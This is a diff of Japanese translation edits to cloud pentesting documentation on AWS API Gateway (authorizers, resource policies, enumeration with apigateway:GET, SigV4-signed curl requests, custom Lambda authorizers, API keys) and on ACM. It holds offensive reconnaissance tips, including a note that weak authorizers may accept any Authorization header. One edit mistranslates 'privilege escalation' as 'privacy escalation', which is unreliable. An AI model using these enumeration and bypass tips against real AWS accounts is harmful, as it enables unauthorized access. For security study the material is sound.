+3. **オーソライザー**: API Gatewayのオーソライザーは、リクエストが進行する前に呼び出し元のアイデンティティを確認することによって、**APIへのアクセスを制御**する役割を担います。**AWS Lambda関数**をカスタムオーソライザーとして使用でき、独自の認証および認可ロジックを実装できます。リクエストが到着すると、API Gatewayはリクエストの認証トークンをLambdaオーソライザーに渡し、トークンを処理して呼び出し元が実行できるアクションを決定するIAMポリシーを返します。API Gatewayは、**AWS Identity and Access Management (IAM)**や**Amazon Cognito**などの**組み込みオーソライザー**もサポートしています。
+4. **リソースポリシー**: API Gatewayのリソースポリシーは、**APIへのアクセス権限を定義するJSONドキュメント**です。これはIAMポリシーに似ていますが、API Gateway専用に調整されています。リソースポリシーを使用して、誰がAPIにアクセスできるか、どのメソッドを呼び出せるか、どのIPアドレスやVPCから接続できるかを制御できます。**リソースポリシーはオーソライザーと組み合わせて使用することができ、APIに対する詳細なアクセス制御を提供します。**
+- リソースポリシーが変更された後、APIを**再デプロイする必要があります**。
 
 ### ロギング
 
@@ -33,7 +33,7 @@ API Gatewayは、**APIへのリクエストがどのように処理されるべ
 ### 列挙
 
 > [!TIP]
-> リソースを列挙するための両方のAWS API（**`apigateway`**および**`apigatewayv2`**）では、必要な唯一の権限であり、付与可能な唯一の読み取り権限は**`apigateway:GET`**です。これにより、**すべてを列挙できます。**
+> AWS APIを使用してリソースを列挙するには（**`apigateway`**および**`apigatewayv2`**）、必要な権限は**`apigateway:GET`**のみであり、それを使用することで**すべてを列挙できます。**
 
 {{#tabs }}
 {{#tab name="apigateway" }}
@@ -145,17 +145,17 @@ https://<api-id>.execute-api.<region>.amazonaws.com/<stage>/<resource>
 ```bash
 $ curl -X <method> https://<api-id>.execute-api.<region>.amazonaws.com/<stage>/<resource> --user <AWS_ACCESS_KEY>:<AWS_SECRET_KEY> --aws-sigv4 "aws:amz:<region>:execute-api"
 ```
-別の方法は、**Postman**内で**`Authorization`**タイプ**`AWS Signature`**を使用することです。
+別の方法は、**Postman**内で**`Authorization`**タイプの**`AWS Signature`**を使用することです。
 
 <figure><img src="../../../images/image (168).png" alt=""><figcaption></figcaption></figure>
 
 使用したいアカウントのaccessKeyとSecretKeyを設定すると、APIエンドポイントに対して認証できます。
 
-どちらの方法も、次のような**Authorization** **header**を生成します:
+どちらの方法も、次のような**Authorization** **header**を生成します：
 ```
 AWS4-HMAC-SHA256 Credential=AKIAYY7XU6ECUDOTWB7W/20220726/us-east-1/execute-api/aws4_request, SignedHeaders=host;x-amz-date, Signature=9f35579fa85c0d089c5a939e3d711362e92641e8c14cc571df8c71b4bc62a5c2
 ```
-他の場合では、**Authorizer**が**不適切にコーディング**されている可能性があり、**Authorizationヘッダー**内に**何でも**送信することで**隠されたコンテンツを見ることができる**かもしれません。
+他のケースでは、**Authorizer**が**不適切にコーディング**されている可能性があり、**Authorization header**内に**何でも**送信することで**隠されたコンテンツを見ることができる**ことに注意してください。
 
 ### Pythonを使用したリクエスト署名
 ```python
@@ -186,7 +186,7 @@ print(response.text)
 ```
 ### カスタム Lambda 認証者
 
-与えられたトークンに基づいて、**IAM ポリシーを返す** Lambda を使用することが可能であり、ユーザーが **API エンドポイントを呼び出す権限があるかどうかを示します**。\
+特定のトークンに基づいて、**IAM ポリシー**を**返す** Lambda を使用することが可能であり、これによりユーザーが**API エンドポイントを呼び出す権限があるかどうか**を示します。\
 認証者を使用する各リソースメソッドを設定できます。
 
 <details>
@@ -236,7 +236,7 @@ return policy
 ```
 </details>
 
-呼び出すには、次のようにします：
+次のように呼び出します：
 
 <pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong>curl "https://jhhqafgh6f.execute-api.eu-west-1.amazonaws.com/prod/custom_auth" -H 'Authorization: your-secret-token'
 </strong></code></pre>
@@ -250,11 +250,11 @@ return policy
 
 ### 必要なAPIキー
 
-**有効なAPIキー**が必要なAPIエンドポイントを設定することができます。
+**有効なAPIキー**が必要なAPIエンドポイントを設定することが可能です。
 
 <figure><img src="../../../images/image (88).png" alt=""><figcaption></figcaption></figure>
 
-API GatewayポータルでAPIキーを生成し、使用量（リクエスト毎秒およびリクエスト毎月の観点から）を設定することも可能です。
+API GatewayポータルでAPIキーを生成し、使用量（リクエスト毎秒および月間リクエスト数）を設定することも可能です。
 
 APIキーを機能させるには、**使用プラン**に追加する必要があります。この使用プランは**APIステージ**に追加され、関連するAPIステージにはAPIキーを必要とする**エンドポイント**に対して**メソッドスロットリング**が設定されている必要があります：
 
@@ -266,7 +266,7 @@ APIキーを機能させるには、**使用プラン**に追加する必要が
 ../aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
 {{#endref}}
 
-## 権限昇格
+## プライバシー昇格
 
 {{#ref}}
 ../aws-privilege-escalation/aws-apigateway-privesc.md

src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md

@@ -4,9 +4,9 @@
 
 ## 基本情報
 
-**AWS Certificate Manager (ACM)** は、AWSサービスおよび内部リソースのための **SSL/TLS証明書のプロビジョニング、管理、展開を効率化することを目的としたサービス** として提供されています。購入、アップロード、証明書の更新などの手動プロセスの必要性は、**ACMによって排除されます**。これにより、ユーザーは **Elastic Load Balancers、Amazon CloudFrontディストリビューション、API Gateway上のAPI** など、さまざまなAWSリソースに対して効率的に証明書をリクエストし、実装することができます。
+**AWS Certificate Manager (ACM)** は、AWSサービスおよび内部リソースのための **SSL/TLS証明書のプロビジョニング、管理、展開を簡素化することを目的としたサービス** として提供されています。購入、アップロード、証明書の更新などの手動プロセスの必要性は、ACMによって **排除されます**。これにより、ユーザーは **Elastic Load Balancers、Amazon CloudFrontディストリビューション、API Gateway上のAPI** など、さまざまなAWSリソースで証明書を効率的にリクエストし、実装できます。
 
-ACMの重要な機能は、**証明書の自動更新** であり、管理の負担を大幅に軽減します。さらに、ACMは **内部使用のためのプライベート証明書の作成と集中管理** をサポートしています。Elastic Load Balancing、Amazon CloudFront、Amazon API Gatewayなどの統合AWSサービス用のSSL/TLS証明書は、ACMを通じて追加費用なしで提供されますが、ユーザーはアプリケーションで使用されるAWSリソースに関連するコストと、統合ACMサービスの外で使用される各 **プライベート証明書機関（CA）** およびプライベート証明書に対する月額料金を負担する必要があります。
+ACMの重要な機能は **証明書の自動更新** であり、管理の負担を大幅に軽減します。さらに、ACMは **内部使用のためのプライベート証明書の作成と集中管理** をサポートしています。Elastic Load Balancing、Amazon CloudFront、Amazon API Gatewayなどの統合AWSサービス用のSSL/TLS証明書は、ACMを通じて追加費用なしで提供されますが、ユーザーはアプリケーションで使用されるAWSリソースに関連するコストと、統合ACMサービスの外で使用される各 **プライベート証明書機関（CA）** およびプライベート証明書に対する月額料金を負担する必要があります。
 
 **AWS Private Certificate Authority** は、**管理されたプライベートCAサービス** として提供され、ACMの機能を強化し、プライベート証明書を含む証明書管理を拡張します。これらのプライベート証明書は、組織内のリソースの認証に重要です。